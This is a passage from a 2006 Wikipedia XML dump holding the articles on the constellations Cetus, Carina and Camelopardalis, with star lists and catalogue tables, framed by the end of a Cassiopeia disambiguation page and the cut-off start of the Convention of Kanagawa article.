* [[Cassiopea (Encantadia)|Cassiopea]], the first Queen of Lireo in the ''Encantadia'' fantasy series of GMA Network.
* [[Casio Cassiopeia]], a series of pocket PCs.
* [[Casiopea]], a Japanese jazz fusion group.
* [[Cassiopeia (Battlestar Galactica)]], a tv character from Battlestar Galactica.
* Cassiopeia, a tortoise featured in [[Michael Ende]]'s fantasy book [[Momo]]

{{disambig}}

[[de:Cassiopeia]]
[[nl:Cassiopeia]]
[[pl:Kasjopeja]]
[[ru:Кассиопея]]
[[sk:Cassiopeia]]</text>
    </revision>
  </page>
  <page>
    <title>Cetus</title>
    <id>6362</id>
    <revision>
      <id>38593395</id>
      <timestamp>2006-02-07T09:19:37Z</timestamp>
      <contributor>
        <username>BorgQueen</username>
        <id>382591</id>
      </contributor>
      <comment>remove StargateGlyph</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Cetus |
abbreviation = Cet |
genitive = Ceti |
symbology = the [[Whale]] or Sea Monster |
RA = 1.42 |
dec= &amp;minus;11.35 |
areatotal = 1231 |
arearank = 4th |
numberstars = 3 |
starname = [[Beta Ceti|&amp;beta; Cet]] (Deneb Kaitos)&amp;dagger; |
starmagnitude = 2.04 |
meteorshowers =
*[[October Cetids]]
*[[Eta Cetids]]
*[[Omicron Cetids]] |
bordering =
*[[Aries]]
*[[Pisces]]
*[[Aquarius]]
*[[Sculptor (constellation)|Sculptor]]
*[[Fornax]]
*[[Eridanus (constellation)|Eridanus]]
*[[Taurus (constellation)|Taurus]] |
latmax = 70 |
latmin = 90 |
month = November |
notes = '''Note:''' &amp;dagger;[[Mira]] (&amp;omicron; Cet) is magnitude 2.0 at its brightest.
}}
'''Cetus''' (a name from [[Greek mythology]], referring to a [[Whale]] or [[Sea monster]], see [[Ceto]]) is a [[constellation]] of the southern sky, in the region known as the [[Water (astronomy)|Water]], near other watery constellations like [[Aquarius]], [[Pisces]], and [[Eridanus (constellation)|Eridanus]].

== Notable features ==
This constellation's most notable [[star]] is [[Mira]] (&amp;omicron; Ceti), the first [[variable star]] to be discovered. Over a period of 331.65 days it can reach a maximum magnitude as high as magnitude 2.0, one of the brightest in the sky and easily visible to the unaided eye, then drop to 10.1 and back again. Its discovery in [[1596]] by [[David Fabricius]] further dented the supposed unchangeability of the heavens and lent support to the [[Nicolaus Copernicus|Copernican revolution]].

Other stars in the constellation include [[Alpha Ceti|&amp;alpha; Ceti]] (Menkar); [[Beta Ceti|&amp;beta; Ceti]] (Deneb Kaitos), brightest in the constellation; and [[Tau Ceti|&amp;tau; Ceti]], the [[List of nearest stars|17th closest star to Earth]].

The [[ecliptic]] passes close to the constellation boundary of Cetus, and thus planets may be in this constellation for brief periods of time.  This is even more true of asteroids, whose orbits usually have a greater [[inclination]] to the ecliptic than planets.  The [[asteroid]] [[4 Vesta]] was discovered in this constellation in [[1807]].

== Notable [[deep sky object]]s ==
Cetus lies far from the [[galactic plane]], so many distant [[galaxy|galaxies]] are visible, unobscured by dust from the [[Milky Way]]. Of these, the brightest is M77, a 9th-magnitude [[spiral galaxy]] near [[Delta Ceti|&amp;delta; Ceti]].

== History and Mythology ==
This constellation has been known since antiquity. In Mesopotamia, it was identified with the primordial cosmic female principle, the sea-monster [[Tiamat]]. 

In [[Greek mythology]], together with the constellations above it, ([[Andromeda (constellation)|Andromeda]], [[Cepheus (constellation)|Cepheus]], [[Perseus (constellation)|Perseus]], [[Cassiopeia (constellation)|Cassiopeia]], and possibly [[Pegasus (constellation)|Pegasus]]), this may be the source of the myth of the [[Boast of Cassiopeia]], with which it is usually identified.

In certain earlier Greek mythology, it also represented the gates (and gateposts) of the underworld (considered to be the area under the [[ecliptic]]). As such, together with other features in the [[Zodiac]] sign of [[Pisces]] (including Pisces itself, as well as prominent stars behind Cetus), it may have formed the basis of the myth of the capture of [[Cerberus]] in [[The Twelve Labours]] of [[Herakles]].

==Stars==
:Stars with proper names:

:* ([[Alpha Ceti|92/&amp;alpha; Cet]]) 2.54 '''Menkar''' or '''Menkab''' [''Mekab''] or '''''Monkar''''' 
:*: &lt;  &amp;#1605;&amp;#1606;&amp;#1582;&amp;#1585;  ''minxar''  nostril
:*: &lt; &amp;#1605;&amp;#1606;&amp;#1603;&amp;#1576; ''minkab'' shoulder
:*: &lt; (?) &amp;#1605;&amp;#1606;&amp;#1602;&amp;#1575;&amp;#1585; ''minq&amp;#257;r'' peak (snout)

:* ([[Beta Ceti|16/&amp;beta; Cet]]) 2.04 '''Diphda''' [''Difda al Thani''] or '''''Deneb Kaitos''''' or '''''Rana Secunda'''''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1590;&amp;#1601;&amp;#1583;&amp;#1593; &amp;#1575;&amp;#1604;&amp;#1579;&amp;#1575;&amp;#1606;&amp;#1610;  ''a&amp;#273;&amp;#807;-&amp;#273;&amp;#807;ifda&lt;sup&gt;c&lt;sup&gt; a&amp;#952;-&amp;#952;&amp;#257;n&amp;#299;''  The second frog
:*: &lt; &amp;#1584;&amp;#1606;&amp;#1576;  ''ðanab'' Tail [of Cetus]

:* ([[Gamma Ceti|86/&amp;gamma; Cet]]) 3.47 '''Kaffaljidhmah''' [''Al Kaff al Jidhma'']
:*: &lt;  &amp;#1575;&amp;#1604;&amp;#1603;&amp;#1601; &amp;#1575;&amp;#1604;&amp;#1580;&amp;#1584;&amp;#1605;&amp;#1575;&amp;#1569;  ''al-kaf al-jaðm&amp;#257;´''  The  lepered (?) hand [reaching from the [[Pleiades]]]

:* ([[Zeta Ceti|55/&amp;zeta; Cet]]) 3.73 '''Baten Kaitos'''
:*: &lt;  &amp;#1576;&amp;#1591;&amp;#1606; ''ba&amp;#355;n''  belly  +  &amp;#954;&amp;#942;&amp;#964;&amp;#959;&amp;#962;  whale

:* ([[Eta Ceti|31/&amp;eta; Cet]]) 3.46 '''''Deneb Algenubi''''' [''Dheneb, Deneb'']
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1584;&amp;#1606;&amp;#1576; &amp;#1575;&amp;#1604;&amp;#1580;&amp;#1606;&amp;#1608;&amp;#1576;&amp;#1610;  ''að-ðanab al-jan&amp;#363;biyy''  The southern fluke

:* ([[Iota Ceti|8/&amp;iota; Cet]]) 3.56 '''Schemali''' [Deneb Kaitos Shemali]
:*: &lt; &amp;#1584;&amp;#1606;&amp;#1576; &amp;#1603;&amp;#1575;&amp;#1610;&amp;#1578;&amp;#1608;&amp;#1587; &amp;#1575;&amp;#1604;&amp;#1588;&amp;#1605;&amp;#1575;&amp;#1604;&amp;#1610;  ''ðanab k&amp;#257;yt&amp;#363;s aš-šam&amp;#257;liyy''  The northern fluke of Cetus

:* ([[Lambda Ceti|91/&amp;lambda; Cet]]) (or ''Menkar'', see [[Alpha Ceti|&amp;alpha; Cet]]) 4.71

:* (68/&amp;omicron; Cet) ~2.00 '''[[Mira]]''' [Mira Ceti] or '''''Collum Ceti''''' &amp;ndash; [[Mira variable]] prototype
:*: &lt; ''stella m&amp;#299;ra''  The wondrous star

:* ([[Pi Ceti|89/&amp;pi; Cet]]) '''''Al Sadr al Ketus'''''
:*: &lt; &amp;#1589;&amp;#1583;&amp;#1585;  ''&amp;#351;adr''  chest + &amp;#954;&amp;#942;&amp;#964;&amp;#959;&amp;#962;  Chest of Cetus

:* (52/&amp;tau; Cet) '''[[Tau Ceti]]''' 3.49 &amp;ndash; nearby; has a circumstellar disk

:* ([[Psi Ceti|&amp;psi; Cet]]) '''''Al Nitham'''''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1592;&amp;#1575;&amp;#1605; ''an-niz&amp;#807;&amp;#257;m'' The arrangement/string (of pearls/stones/stars)
::* [[Psi1 Ceti|17/&amp;psi;&lt;sup&gt;1&lt;sup&gt; Cet]] 4.77
::* [[Psi2 Ceti|19/&amp;psi;&lt;sup&gt;2&lt;sup&gt; Cet]] 5.17
::* [[Psi3 Ceti|22/&amp;psi;&lt;sup&gt;3&lt;sup&gt; Cet]] 5.35
::* [[Psi4 Ceti|23/&amp;psi;&lt;sup&gt;4&lt;sup&gt; Cet]] 5.62
:Stars with Bayer designations:
:: [[Delta Ceti|82/&amp;delta; Cet]] 4.08; [[Epsilon Ceti|83/&amp;epsilon; Cet]] 4.83; [[Theta Ceti|45/&amp;theta; Cet]] 3.60; [[Kappa Ceti|96/&amp;kappa; Cet]] 4.84 &amp;ndash; nearby; [[Mu Ceti|87/&amp;mu; Cet]] 4.27; [[Nu Ceti|78/&amp;nu; Cet]] 4.87; [[Xi1 Ceti|65/&amp;xi;&lt;sup&gt;1&lt;/sup&gt; Cet]] 4.36; [[Xi2 Ceti|73/&amp;xi;&lt;sup&gt;2&lt;/sup&gt; Cet]] 4.30; [[Rho Ceti|72/&amp;rho; Cet]] 4.88; [[Sigma Ceti|76/&amp;sigma; Cet]] 4.74; [[Chi Ceti|53/&amp;chi; Cet]] 4.66; [[Upsilon Ceti|59/&amp;upsilon; Cet]] 3.99
:Stars with Flamsteed designations:
:: [[1 Ceti|1 Cet]] 6.28; [[2 Ceti|2 Cet]] 4.55; [[3 Ceti|3 Cet]] 4.99; [[4 Ceti|4 Cet]] 6.43; [[5 Ceti|5 Cet]] 6.18; [[6 Ceti|6 Cet]] 4.89; [[7 Ceti|7 Cet]] 4.44; [[9 Ceti|9/BE Cet]] 6.39 &amp;ndash; variable; [[10 Ceti|10 Cet]] 6.16; [[12 Ceti|12 Cet]] 5.72; [[13 Ceti|13 Cet]] 5.20; [[14 Ceti|14 Cet]] 5.94; [[15 Ceti|15 Cet]] 6.64; [[18 Ceti|18 Cet]] 6.15; [[20 Ceti|20 Cet]] 4.78; [[21 Ceti|21 Cet]] 6.15; [[25 Ceti|25 Cet]] 5.40; [[26 Ceti|26 Cet]] 6.06; [[27 Ceti|27 Cet]] 6.09; [[28 Ceti|28 Cet]] 5.58; [[29 Ceti|29 Cet]] 6.44; [[30 Ceti|30 Cet]] 5.71; [[32 Ceti|32 Cet]] 6.40; [[33 Ceti|33 Cet]] 5.97; [[34 Ceti|34 Cet]] 5.93; [[35 Ceti|35 Cet]] 6.55; [[37 Ceti|37 Cet]] 5.14; [[38 Ceti|38 Cet]] 5.70; [[39 Ceti|39 Cet]] 5.42; [[40 Ceti|40 Cet]] 6.52; [[42 Ceti|42 Cet]] 5.87; [[43 Ceti|43 Cet]] 6.50; [[44 Ceti|44 Cet]] 6.21; [[46 Ceti|46 Cet]] 4.90; [[47 Ceti|47 Cet]] 5.51; [[48 Ceti|48 Cet]] 5.11; [[49 Ceti|49 Cet]] 5.62; [[50 Ceti|50 Cet]] 5.41; [[54 Ceti|54 Cet]] 5.92; [[56 Ceti|56 Cet]] 4.92; [[57 Ceti|57 Cet]] 5.43; [[58 Ceti|58 Cet]] 6.52; [[58 Ceti|58 Cet]] 8.83; [[60 Ceti|60 Cet]] 5.42; [[61 Ceti|61 Cet]] 5.96; [[63 Ceti|63 Cet]] 5.94; [[64 Ceti|64 Cet]] 5.64; [[66 Ceti|66 Cet]] 5.65; [[67 Ceti|67 Cet]] 5.51; [[69 Ceti|69 Cet]] 5.29; [[70 Ceti|70 Cet]] 5.42; [[71 Ceti|71 Cet]] 6.34; [[75 Ceti|75 Cet]] 5.36; [[77 Ceti|77 Cet]] 5.74; [[79 Ceti|79 Cet]] 6.83 &amp;ndash; has a planet; [[80 Ceti|80 Cet]] 5.53; [[81 Ceti|81 Cet]] 5.65; [[84 Ceti|84 Cet]] 5.72; [[85 Ceti|85 Cet]] 6.32; [[93 Ceti|93 Cet]] 5.62; [[94 Ceti|94 Cet]] 5.07 &amp;ndash; has a planet; [[95 Ceti|95 Cet]] 5.62; [[97 Ceti|97 Cet]] 5.70
:Other notable stars:
:* [[Luyten 726-8]] &amp;ndash; nearby 
::* [[UV Ceti]] 12.57 &amp;ndash; flare star
::* [[BL Ceti]] 12.70 &amp;ndash; variable
:* [[HD 12039|DK Ceti]] 8.11 &amp;ndash; variable; asteroid belt
:* [[YZ Ceti]] 12.05 &amp;ndash; variable

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Cetus}}
* [http://www.allthesky.com/constellations/cetus/ The Deep Photographic Guide to the Constellations: Cetus]
[[Category:Cetus constellation| ]]

[[ca:Balena (constel·lació)]]
[[cs:Velryba (souhvězdí)]]
[[da:Hvalfisken]]
[[de:Walfisch (Sternbild)]]
[[es:Cetus]]
[[fr:Baleine (constellation)]]
[[ga:An Míol Mór]]
[[ko:고래자리]]
[[id:Cetus]]
[[it:Cetus]]
[[la:Cetus (sidus)]]
[[lt:Banginis (astronomija)]]
[[nl:Walvis (sterrenbeeld)]]
[[ja:くじら座]]
[[nn:Kvalfisken]]
[[pl:Wieloryb (gwiazdozbiór)]]
[[pt:Cetus]]
[[ru:Кит (созвездие)]]
[[sk:Súhvezdie Veľryba]]
[[fi:Valaskala]]
[[sv:Valfisken (stjärnbild)]]
[[th:กลุ่มดาวซีตัส]]
[[zh:鯨魚座]]</text>
    </revision>
  </page>
  <page>
    <title>Carina (constellation)</title>
    <id>6363</id>
    <revision>
      <id>38843709</id>
      <timestamp>2006-02-09T00:19:40Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Carina |
abbreviation = Car |
genitive = Carinae |
symbology = the Keel (of the [[Argo Navis]]) |
RA = 9 |
dec= &amp;minus;60 |
areatotal = 494 |
arearank = 34th |
numberstars = 5 |
starname = [[Canopus (star)|Canopus]] (&amp;alpha; Car)&lt;br&gt; |
starmagnitude = &amp;minus;0.7 |
meteorshowers =
*[[Alpha Carinids]]
*[[Eta Carinids]] |
bordering =
*[[Vela (constellation)|Vela]]
*[[Puppis]]
*[[Pictor]]
*[[Volans]]
*[[Chamaeleon]]
*[[Musca]]
*[[Centaurus]] |
latmax = 20 |
latmin = 90 |
month = March |
notes=}}
'''Carina''' ([[Latin]] for ''[[keel]]'') is a southern [[constellation]] which forms part of the old constellation of [[Argo Navis]]. It contains [[Canopus (star)|Canopus]], the second brightest [[star]] in the night sky, and the supermassive star [[eta Carinae]] which is embedded in the naked eye visible [[Carina Nebula]] [[NGC]] 3372.

==Stars==
:Stars with proper names:
:* (&amp;alpha; Car) &amp;minus;0.72 '''[[Canopus (star)|Canopus]]''' or '''''Suhail''''' [''Suhel'']
:*: &lt; Can&amp;#333;pus &lt; &amp;#922;&amp;#940;&amp;#957;&amp;#969;&amp;#960;&amp;#959;&amp;#963; 

:* ([[Beta Carinae|&amp;beta; Car]]) 1.68 '''Miaplacidus''' [''Maiaplacidus'']
:*: &lt; &amp;#1605;&amp;#1610;&amp;#1575;&amp;#1607;  ''miy&amp;#257;h''  waters + ''placidus''  placid

:* ([[Epsilon Carinae|&amp;epsilon; Car]]) 1.86 '''Avior'''
:* ([[Eta Carinae|&amp;eta; Car]]) 6.22 '''''Tseen She''''' &amp;ndash; hypergiant; 
:*: &lt; &amp;#22825;&amp;#31038; (Mandarin ''ti&amp;#257;nshè'')  Heaven's altar
:* ([[Iota Carinae|&amp;iota; Car]]) 2.25  '''Aspidiske''' or '''Turais''' [''Tureis''] or '''''Scutulum''''' [&quot;shield&quot;]
:*: &lt;  &amp;#1578;&amp;#1615;&amp;#1585;&amp;#1614;&amp;#1610;&amp;#1618;&amp;#1587;  ''turais''  Shield [dimunitive]
:Stars with Bayer designations:
::[[Theta Carinae|&amp;theta; Car]] 2.76; [[Upsilon Carinae|&amp;upsilon; Car]] 2.92; [[Chi Carinae|&amp;chi; Car]] 3.46; [[Omega Carinae|&amp;omega; Car]] 3.29; [[a Carinae|a Car]] 3.43; [[b1 Carinae|b&lt;sup&gt;1&lt;/sup&gt; Car]] 4.93; [[b2 Carinae|b&lt;sup&gt;2&lt;/sup&gt; Car]] 5.17; [[c Carinae|c Car]] 3.84; [[d Carinae|d Car]] 4.31; [[e1 Carinae|e&lt;sup&gt;1&lt;/sup&gt; Car]] 5.27; [[e2 Carinae|e&lt;sup&gt;2&lt;/sup&gt; Car]] 4.84; [[f Carinae|f Car]] 4.50; [[g Carinae|g Car]] 4.34; [[h Carinae|h Car]] 4.08; [[i Carinae|i Car]] 3.96; [[k Carinae|k Car]] 4.79; [[l Carinae|l Car]] 3.69; [[m Carinae|m Car]] 4.51; [[p Carinae|p Car]] 3.30; [[q Carinae|q Car]] 3.39; [[r Carinae|r Car]] 4.45; [[s Carinae|s Car]] 3.81; [[t1 Carinae|t&lt;sup&gt;1&lt;/sup&gt; Car]] 5.08; [[t2 Carinae|t&lt;sup&gt;2&lt;/sup&gt; Car]] 4.69; [[u Carinae|u Car]] 3.78; [[w Carinae|w Car]] 4.58; [[x Carinae|x Car]] 3.93; [[y Carinae|y Car]] 4.59; [[z Carinae|z Car]] 4.62; [[z2 Carinae|z&lt;sup&gt;2&lt;/sup&gt; Car]] 5.11; [[A Carinae|A Car]] 4.41; [[B Carinae|B Car]] 4.74; [[C Carinae|C Car]] 5.16; [[D Carinae|D Car]] 4.81; [[E Carinae|E Car]] 4.66; [[G Carinae|G Car]] 4.47; [[H Carinae|H Car]] 5.46; [[I Carinae|I Car]] 3.99; [[K Carinae|K Car]] 4.72; [[L Carinae|L Car]] 4.97; [[M Carinae|M Car]] 5.15; [[N Carinae|N Car]] 4.35; [[O Carinae|O Car]] 5.60; [[P Carinae|P Car]] 4.65; [[Q Carinae|Q Car]] 4.93
:Stars with Flamsteed designations:
::[[23 Carinae|23 Car]] 5.14

{{astro-stub}}
{{ConstellationsNLDLAltered}}
{{ConstellationList}}

== External links ==
{{Commons|Carina}}
* [http://www.allthesky.com/constellations/crux/ The Deep Photographic Guide to the Constellations: Carina]
[[Category:Carina constellation| ]]

[[ca:Quilla (constel·lació)]]
[[cs:Lodní kýl (souhvězdí)]]
[[da:Kølen]]
[[de:Schiffskiel (Sternbild)]]
[[es:Carina]]
[[fr:Carène (constellation)]]
[[ko:용골자리]]
[[id:Carina]]
[[la:Carina (sidus)]]
[[lt:Laivo Kilis]]
[[hu:Hajógerinc (csillagkép)]]
[[nl:Kiel (sterrenbeeld)]]
[[ja:りゅうこつ座]]
[[pl:Kil (gwiazdozbiór)]]
[[ru:Киль (созвездие)]]
[[sk:Súhvezdie Kýl]]
[[sv:Kölen]]
[[th:กลุ่มดาวกระดูกงูเรือ]]
[[zh:船底座]]</text>
    </revision>
  </page>
  <page>
    <title>Camelopardalis</title>
    <id>6364</id>
    <revision>
      <id>39176245</id>
      <timestamp>2006-02-11T05:51:39Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Camelopardalis |
abbreviation = Cam |
genitive = Camelopardalis |
symbology = the [[Giraffe]] |
RA = 6 |
dec= +70 |
areatotal = 757 |
arearank = 18th |
numberstars = 0 |
starname = &amp;beta; Cam |
starmagnitude = 4.03 |
meteorshowers = None |
bordering =
*[[Draco (constellation)|Draco]]
*[[Ursa Minor]]
*[[Cepheus (constellation)|Cepheus]]
*[[Cassiopeia (constellation)|Cassiopeia]]
*[[Perseus (constellation)|Perseus]]
*[[Auriga (constellation)|Auriga]]
*[[Lynx (constellation)|Lynx]]
*[[Ursa Major]] |
latmax = 90 |
latmin = 10 |
month = February |
notes=}}
'''Camelopardalis''', [[Latin]] for ''[[giraffe]]'', is the name of a large but faint [[celestial sphere|northern]] [[constellation]] first recorded by [[Jakob Bartsch]] in [[1624]], but probably created earlier by [[Petrus Plancius]].

==Notable features==

Although Camelopardalis is the 18th largest constellation, it is not a particularly bright constellation, as the brightest stars are only of fourth magnitude.  

[[Beta Camelopardalis|&amp;beta; Camelopardalis]] is the brightest star, at [[apparent magnitude]] 4.03.  This star is a [[double star]], with components of magnitudes 4.0 and 7.4.  

The second brightest is [[CS Camelopardalis]] (which has neither a [[Bayer designation|Bayer]] nor [[Flamsteed designation]]).  It is of magnitude 4.21 (slightly [[Variable star|variable]]).

In some astronomical reference books, one will often see an alternate spelling of this constellation as Camelopardis.

==Notable deep sky objects==

&lt;!--[[Image:Spiral_Galaxy_NGC_2403.jpg|100px|left|NGC 2403]]--&gt;[[Spiral Galaxy NGC 2403|NGC 2403]] is a [[spiral galaxy]] approximately 11 million light years distant.  It is of magnitude 8.4.  [[NGC 1502]] is an [[open cluster]] around 6,800 [[light year]]s distant.  It is of magnitude 6.0.

==Mythology==

Camelopardalis has no mythology associated with its stars, as it is a modern constellation, first recorded by Jakob Bartsch. The faintness of the constellation, and that of the nearby constellation [[Lynx (constellation)|Lynx]], lead to the early Greeks considering this area of the sky to be empty, and thus a [[desert]].

However, as a desert, together with other features in the [[Zodiac]] sign of [[Gemini]] (i.e. the [[Milky Way]], and the constellations [[Gemini]], [[Orion constellation|Orion]], [[Auriga (constellation)|Auriga]], and [[Canis Major]]), this may be the origin of the myth of the cattle of [[Geryon]], which forms one of [[The Twelve Labours]] of [[Herakles]].

==Table of leading stars==

The following table lists all stars in Camelopardalis with a Bayer or Flamsteed designation, as well as all stars brighter than magnitude 4.50.
{| class=&quot;wikitable&quot;
! [[Bayer designation|BD]] !! [[Flamsteed designation]] !! [[Variable star designation|Variable designation]] !! Other designation !! [[Right ascension]] !! [[Declination]] !! [[Apparent magnitude|Magnitude]]
|-
| || || CS || ADS 2544 || 03h 29m 04.1s || +59&amp;deg; 56&amp;prime; 25&amp;Prime; || 4.21v
|-
| &amp;gamma; || || || || 03h 50m 21.5s || +71&amp;deg; 19&amp;prime; 56&amp;Prime; || 4.63
|-
| || || BE || || 03h 49m 31.2s || +65&amp;deg; 31&amp;prime; 34&amp;Prime; || 4.47v
|-
| || 1 ||  || ADS 3274 || 04h 32m 01.8s || +53&amp;deg; 54&amp;prime; 39&amp;Prime; || 5.77
|-
| || 2 || || ADS 3358 || 04h 39m 58.1s || +53&amp;deg; 28&amp;prime; 23&amp;Prime; || 5.35
|-
| || 3 || || ADS 3359 || 04h 39m 54.7s || +53&amp;deg; 04&amp;prime; 47&amp;Prime; || 5.05
|-
| || 4 || || ADS 3432 || 04h 48m 00.3s || +56&amp;deg; 45&amp;prime; 26&amp;Prime; || 5.30
|-
| &amp;alpha; || 9 || || || 04h 54m 03.0s || +66&amp;deg; 20&amp;prime; 34&amp;Prime; || 4.29
|-
| || 5 || || ADS 3508 || 04h 55m 03.1s || +55&amp;deg; 15&amp;prime; 33&amp;Prime; || 5.52
|-
| || 7 || || ADS 3536 || 04h 57m 17.2s || +53&amp;deg; 45&amp;prime; 08&amp;Prime; || 4.47
|-
| || 8 || || || 04h 59m 46.3s || +53&amp;deg; 09&amp;prime; 20&amp;Prime; || 6.08
|-
| &amp;beta; || 10 || || ADS 3615 || 05h 03m 25.1s || +60&amp;deg; 26&amp;prime; 32&amp;Prime; || 4.03
|-
| || 11 || BV || || 05h 06m 08.5s || +58&amp;deg; 58&amp;prime; 21&amp;Prime; || 5.08v
|-
| || 12 || BM || || 05h 06m 12.2s || +59&amp;deg; 01&amp;prime; 16&amp;Prime; || 6.08v
|-
| || 14 || || || 05h 13m 31.3s || +62&amp;deg; 41&amp;prime; 29&amp;Prime; || 6.50
|-
| || 15 || || || 05h 19m 27.8s || +58&amp;deg; 07&amp;prime; 02&amp;Prime; || 6.13
|-
| || 16 || || || 05h 23m 27.8s || +57&amp;deg; 32&amp;prime; 40&amp;Prime; || 5.28
|-
| || 17 || || || 05h 30m 10.2s || +63&amp;deg; 04&amp;prime; 02&amp;Prime; || 5.42
|-
| || 18 || || || 05h 32m 33.8s || +57&amp;deg; 13&amp;prime; 16&amp;Prime; || 6.48
|-
| || 19 || || ADS 4177 || 05h 37m 15.1s || +64&amp;deg; 09&amp;prime; 17&amp;Prime; || 6.15
|-
| || 24 || || || 05h 43m 01.6s || +56&amp;deg; 34&amp;prime; 54&amp;Prime; || 6.05
|-
| || 23 || || || 05h 44m 08.6s || +61&amp;deg; 28&amp;prime; 36&amp;Prime; || 6.15
|-
| || 26 || || || 05h 46m 30.4s || +56&amp;deg; 06&amp;prime; 56&amp;Prime; || 5.94
|-
| || 29 || || ADS 4412 || 05h 50m 34.0s || +56&amp;deg; 55&amp;prime; 08&amp;Prime; || 6.54
|-
| || 30 || || || 05h 52m 17.4s || +58&amp;deg; 57&amp;prime; 51&amp;Prime; || 6.14
|-
| || 31 || TU || || 05h 54m 57.8s || +59&amp;deg; 53&amp;prime; 18&amp;Prime; || 5.20v
|-
| || 37 || || || 06h 09m 59.1s || +58&amp;deg; 56&amp;prime; 09&amp;Prime; || 5.36
|-
| || 36 || || || 06h 12m 51.1s || +65&amp;deg; 43&amp;prime; 06&amp;Prime; || 5.32
|-
| || 40 || || || 06h 15m 40.6s || +59&amp;deg; 59&amp;prime; 57&amp;Prime; || 5.35
|-
| || 42 || || || 06h 50m 57.1s || +67&amp;deg; 34&amp;prime; 19&amp;Prime; || 5.14
|-
| || 43 || || || 06h 53m 42.2s || +68&amp;deg; 53&amp;prime; 18&amp;Prime; || 5.12
|-
| || 47 || || ADS 5995 || 07h 22m 17.2s || +59&amp;deg; 54&amp;prime; 07&amp;Prime; || 6.35
|-
| || 51 || || || 07h 46m 40.1s || +65&amp;deg; 27&amp;prime; 21&amp;Prime; || 5.92
|-
| || 49 || BC || || 07h 46m 27.4s || +62&amp;deg; 49&amp;prime; 50&amp;Prime; || 6.49v
|-
| || 53 || AX || || 08h 01m 42.4s || +60&amp;deg; 19&amp;prime; 28&amp;Prime; || 6.01v
|}

Source: ''The Bright Star Catalogue, 5th Revised Ed.''
==Stars==
:Stars with Bayer designations:
:: [[Alpha Camelopardalis|9/&amp;alpha; Cam]] 4.26; [[Beta Camelopardalis|10/&amp;beta; Cam]] 4.03; [[Gamma Camelopardalis|&amp;gamma; Cam]] 4.59
:* Stars with Flamsteed designations:
::[[1 Camelopardalis|1 Cam]] 5.78; [[2 Camelopardalis|2 Cam]] 5.36; [[3 Camelopardalis|3 Cam]] 5.07; [[4 Camelopardalis|4 Cam]] 5.29; [[5 Camelopardalis|5 Cam]] 5.52; [[7 Camelopardalis|7 Cam]] 4.43; [[8 Camelopardalis|8 Cam]] 6.09; [[11 Camelopardalis|11 Cam]] 5.22; [[12 Camelopardalis|12 Cam]] 6.08; [[14 Camelopardalis|14 Cam]] 6.49; [[15 Camelopardalis|15 Cam]] 6.13; [[16 Camelopardalis|16 Cam]] 5.24; [[17 Camelopardalis|17 Cam]] 5.43; [[18 Camelopardalis|18 Cam]] 6.44; [[19 Camelopardalis|19 Cam]] 6.15; [[22 Camelopardalis|22 Cam]] 7.17; [[23 Camelopardalis|23 Cam]] 6.17; [[24 Camelopardalis|24 Cam]] 6.05; [[26 Camelopardalis|26 Cam]] 5.93; [[28 Camelopardalis|28 Cam]] 6.79; [[29 Camelopardalis|29 Cam]] 6.53; [[30 Camelopardalis|30 Cam]] 6.14; [[31 Camelopardalis|31 Cam]] 5.20; [[35 Camelopardalis|35 Cam]] 6.39; [[36 Camelopardalis|36 Cam]] 5.36; [[37 Camelopardalis|37 Cam]] 5.35; [[40 Camelopardalis|40 Cam]] 5.37; [[42 Camelopardalis|42 Cam]] 5.14; [[43 Camelopardalis|43 Cam]] 5.11; [[47 Camelopardalis|47 Cam]] 6.36; [[49 Camelopardalis|49 Cam]] 6.50; [[51 Camelopardalis|51 Cam]] 5.93; [[53 Camelopardalis|53 Cam]] 6.02; [[54 Camelopardalis|54 Cam]] 6.48; [[55 Camelopardalis|55 Cam]] 5.34; [[56 Camelopardalis|56 Cam]] 6.43; [[57 Camelopardalis|57 Cam]] 5.73

{{ConstellationsByBartsch}}
{{ConstellationList}}

== External links ==
{{Commons|Camelopardalis}}

* [http://www.allthesky.com/constellations/camelopardalis/ The Deep Photographic Guide to the Constellations: Camelopardalis]

[[Category:Camelopardalis constellation| ]]

[[ca:Girafa (constel·lació)]]
[[cs:Žirafa (souhvězdí)]]
[[da:Giraffen]]
[[de:Giraffe (Sternbild)]]
[[es:Camelopardalis]]
[[fr:Girafe (constellation)]]
[[ko:기린자리]]
[[id:Camelopardalis]]
[[it:Camelopardalis]]
[[la:Camelopardalis (sidus)]]
[[lt:Žirafa (astronomija)]]
[[hu:Zsiráf (csillagkép)]]
[[nl:Giraffe (sterrenbeeld)]]
[[ja:きりん座]]
[[nn:Sjiraffen]]
[[pl:Żyrafa (gwiazdozbiór)]]
[[pt:Camelopardalis]]
[[ru:Жираф (созвездие)]]
[[sk:Súhvezdie Žirafa]]
[[fi:Kirahvi (tähdistö)]]
[[th:กลุ่มดาวยีราฟ]]
[[zh:鹿豹座]]</text>
    </revision>
  </page>
  <page>
    <title>Convention of Kanagawa</title>
    <id>6365</id>
    <revision>
      <id>37081124</id>
      <timestamp>2006-01-28T14:31:10Z</timestamp>
      <contributor>
        <username>Ponder</username>
        <id>86301</id>
      </contributor>
      <comment>/* See also */ reformatted section, rm duplicate external link</comment>
      <text xml:space="preserve">[[Image:PerryBustShimoda.jpg|thumb|right|Bust of Matthew Perry in Shimoda]]
On [[March 31]], [[1854]], the '''Convention of Kanagawa''' ([[Japanese language|Japanese]]: 神奈川条約, Kanagawa Jōyaku, or 日米和親条約, Nichibei Washin Jōyaku) was used by Commodore [[Matthew Perry (naval officer)|Matthew Perry]] of the [[United States Navy|U.S. Navy]] to force the opening of the [[Japan]]ese ports of [[Shimoda]] and [[Hakodate]] to [[United States|American]] trade and ended Japan's 200 year policy of seclusion ([[Sakoku]]). It also guaranteed safety of shipwrecked American whalers and established a permanent American consul.  Though he refused to deal with Japanese officials and demanded to speak with the Japanese Head of State, Perry did not realize that he had only spoken with representatives of the [[Tokugawa_shogunate|Tokugawa]] [[Shogun]] and not the [[Emperor]].  However, the 